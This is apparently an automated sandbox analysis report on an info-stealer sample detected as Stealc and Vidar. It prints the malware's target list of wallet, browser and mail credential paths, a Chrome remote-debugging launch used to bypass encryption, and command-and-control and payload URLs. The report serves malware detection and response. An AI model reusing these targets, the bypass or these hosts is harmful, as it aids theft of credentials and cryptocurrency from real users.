Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\passphrase.jsonM
Source: file.exe, 00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2156, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1975942575.0000000000661000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1979771130.0000000000F2E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1455623487.0000000004C80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2156, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2156, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC40C40 sqlite3_bind_zeroblob,	0_2_6CC40C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC40D60 sqlite3_bind_parameter_name,	0_2_6CC40D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB68EA0 sqlite3_clear_bindings,	0_2_6CB68EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC40B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6CC40B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB66410 bind,WSAGetLastError,	0_2_6CB66410

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	12 Process Injection	4 Obfuscated Files or Information	Security Account Manager	236 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	241 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	47%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://31.41.244.11/files/random.exeft	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exeem32	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpb8E	100%	Avira URL Cloud	malware
http://185.215.113.16/mine/random.exe~	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe131d	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exej.	0%	Avira URL Cloud	safe
https://msn.comXIDv106a	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe50623oded	0%	Avira URL Cloud	safe
http://31.41.244.11/32	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exeem32	19%	Virustotal		Browse
http://185.215.113.16/mine/random.exe~	17%	Virustotal		Browse
http://185.215.113.43/Zu7JuNko/index.phpoST	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
plus.l.google.com	172.217.17.78	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.165.220.106	true	false	high
www.google.com	142.250.181.100	true	false	high
b-0005.b-dc-msedge.net	13.107.9.158	true	false	high
googlehosted.l.googleusercontent.com	142.250.181.97	true	false	high
sni1gl.wpc.nucdn.net	152.199.21.175	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732604626690&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://sb.scorecardresearch.com/b2?rn=1732604626696&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2A1C8E46DA6B6D3B073F9B05DB6A6C89&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
185.215.113.206/c4becf79229cb002.php	false	high
https://ntp.msn.com/edge/ntp?locale=en-GB&title=New+tab&enableForceCache=true	false	high
